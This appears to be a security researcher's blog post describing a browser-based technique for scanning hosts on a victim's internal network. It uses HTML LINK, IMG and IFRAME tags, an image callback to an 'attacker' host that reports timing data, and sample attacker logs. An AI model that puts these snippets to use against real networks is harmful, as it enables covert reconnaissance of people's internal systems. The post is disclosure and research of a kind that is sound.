Update 2: Ilia Alshanetsky has already found a way to improve upon the technique using the obscure content-type "multipart/x-mixed-replace". There's a great write up and some PHP PoC code to go with it. Good stuff! RSnake has been covering the topic as well.
Update: A sla.ckers.org project thread has been created to exchange results. Already the first post has some interesting bits.
HTML is hosted on an "attacker" control website.
<* link rel="stylesheet" type="text/css" href="http://192.168.1.100/" />
<* img src="http://attacker/check_time.pl?ip=192.168.1.100&start= epoch_timer" />
The LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport mechanism back to the attacker. One the web page is loaded, at some point in the future a request is received by check_time.pl. By comparing the current epoch to the initial “epoch_timer” value (when the web page was dynamically generated) its possible to tell if the host is up. If the time difference is less than say 5 seconds then likely the host is up, if more, then the host is probably down (browser waited for timeout). Simple.
Example (attacker web server logs)
Current epoch: 1164762279
(3 second delay) - Host is up
Current epoch: 1164762286
(10 second delay) - Host is down
A few browser/network nuances have caused stability and accuracy headaches, plus the technique is somewhat slow to scan with. To fork the connections I used multiple IFRAMES HTML connections, which seemed to work.
<* iframe src="/portscan.pl?ip=192.168.201.100" scrolling="no"><* /iframe>
<* iframe src="/portscan.pl?ip=192.168.201.101" scrolling="no"><* /iframe>
<* iframe src="/portscan.pl?ip=192.168.201.102" scrolling="no"><* /iframe>
I'm pretty sure most of the issues can be worked around, but like I said, I lack the time. If anyone out there takes this up as a cause, let me know, I have some Perl scraps if you want them.